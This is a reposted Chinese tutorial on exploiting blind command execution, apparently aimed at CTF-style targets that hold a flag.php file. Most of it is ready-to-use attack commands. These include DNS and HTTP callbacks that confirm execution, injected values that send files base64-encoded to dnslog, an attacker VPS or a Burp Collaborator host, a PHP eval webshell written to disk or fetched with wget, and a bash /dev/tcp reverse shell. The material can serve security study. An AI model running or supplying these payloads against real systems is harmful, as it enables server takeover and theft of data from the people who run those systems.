無回顯的滲透技巧


一、命令執行判斷

命令執行可能會存在命令執行完沒有回顯,可以通過三種方式來判斷:延時、HTTP延時、DNS請求。

1、延時

1)通過使用sleep()函數,即是否延時來判斷該命令是否有執行,有延時則代表有執行。類似的函數還有

benchmark(count,expr) 和getlock(str,time)。

2)windows下並沒有sleep命令,可以通過回環ping來達到強制延時的效果。Linux下同樣試用,而且還可以通過ping命令在不同環境下的執行方式來判斷目標的操作系統類型。

ping -n 3 127.0.0.1
ping -n 4 127.0.0.1

2、HTTP請求

目標服務器向個人的公網服務器發起http請求,當該公網服務器收到http請求就代表命令有執行。
舉個例子捏:
個人的公網服務器使用 nc -lvp 7777 開始監聽;
目標服務器使用 curl 公網機ip:端口號
可以看到公網服務器的該端口有http請求。(注:ping命令不產生http請求

3、DNS請求

如果請求的目標不是ip地址而是域名,那么域名最終還要轉化成ip地址,就肯定要做一次域名解析請求。假設有一個可控的二級域名,那么當它發出三級域名解析的時候,就會記錄它的域名解析請求。所以配合DNS請求也可以進行命令執行的判斷,這一般稱為dnslog。(要通過dns請求既可通過ping命令,也能通過curl命令,只要對域名進行訪問,讓域名服務器進行域名解析就可實現。)

繼續舉個栗子:

1)打開dnslog.cn獲得一個域名,訪問777.cf1gbs.dnslog.cn,就會記錄下來這個域名解析請求。

2)簡單測試一下向目標服務器發起http請求,執行下面的命令

ip=|curl `whoami`.cf1gbs.dnslog.cn

查看dnslog。

二、無回顯代碼執行

1、執行命令(需要站點目錄具有寫權限)

通過執行命令,直接將php文件寫入到在瀏覽器可直接讀取的文件類型中(如txt文件),然后訪問txt文件即可得到php文件內容

1)使用 cp 命令直接得到文件內容

cp flag.php 1.txt

2)使用 mv 命令

mv flag.php flag.txt

3)使用 > 或者 >>

cat flag.php > flag.txt
cat flag.php >> flag.txt

4)使用tar

tar cvf flag.tar flag.php  # 打包flag.php為flag.tar
tar zcvf flag.tar.gz flag.php  # 壓縮flag.php為flag.tar.gz
# 解壓縮:tar zxvf flag.tar.gz

5)使用zip

zip flag.zip flag.php
#解壓縮:unzip flag.zip

2、直接寫入或外部下載webshell

1)直接寫入(需要站點目錄具有寫權限)

echo "<?php @eval(\$_POST[123]); ?>" > webshell.php

2)外部下載(目標服務器可以連接外網或可以與攻擊機互通,且能執行wget命令)

wget 攻擊機ip -O webshell.php 
#使用wget下載shell,使用參數-O來指定一個文件名

3、在vps上建立記錄腳本

當目標服務器可以向公網服務器發起http請求,並且能執行curl命令或wget命令

1)在個人公網服務器的根目錄構造一個記錄腳本:7.php 。

#7.php
<?php
header("Content-type:text/html; charest=utf-8");
highlight_file(_FILE_);
include("flag.php");

$ip=$_REQUEST['ip'];
if($ip)
{
        shell_exec("ping -c 4".$ip);
}
?>

2)在目標服務器的測試點發送任意一條請求進行測試,將獲得的flag進行base64解碼即可。

curl http://*.*.*.**/7.php?data=`cat flag.php|base64`
wget http://*.*.*.*/7.php?data=`cat flag.php|base64`

4、DNSLOG獲取回顯

1)命令執行時要避免空格,空格會導致空格后面的命令執行不到;
2)將讀取的文件命令用反引號``包含起來;
3)拼接的域名有長度限制。

curl `命令`.域名

舉個例子:

#用<替換讀取文件中的空格,且對輸出結果base64編碼,然后拼接域名
curl `cat<flag.php|base64`.cf1gbs.dnslog.cn
#另一種方法
curl `cat flag.php|sed s/[[:space:]]//`.cf1gbs.dnslog.cn

5、反彈shell

反彈shell,就是攻擊機監聽在某個TCP/UDP端口為服務端,目標機主動發起請求到攻擊機監聽的端口,並將其命令行的輸入輸出轉到攻擊機。

1)個人的公網服務器開啟端口監聽

nc -lvp 777

2)目標服務器執行命令

bash -i >& /dev/tcp/公網機ip/端口號 0>&1

6、curl上傳文件讀取源碼

使用 curl -F 將flag文件上傳到Burp的Collaborator Client。這是一個類似httpslog+dnslog的插件,其功能比dnslog強大,可以不用搭建任何環境去監聽dns和http請求,也可以很方便的查看post請求包和cookie等。

拼接payload並在命令執行處提交即可查看Collaborator Client收到的數據。

ip=|curl -X POST -F xx=@flag.php http://bn2cqaribbwg0qo2ungjlm29i0oqcf.burpcollaborator.net

 

Referer

淺談PHP無回顯命令執行的利用

無回顯條件下的命令執行判斷和利用方式研究

命令執行無回顯的判斷方法及dnslog相關例題

 
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM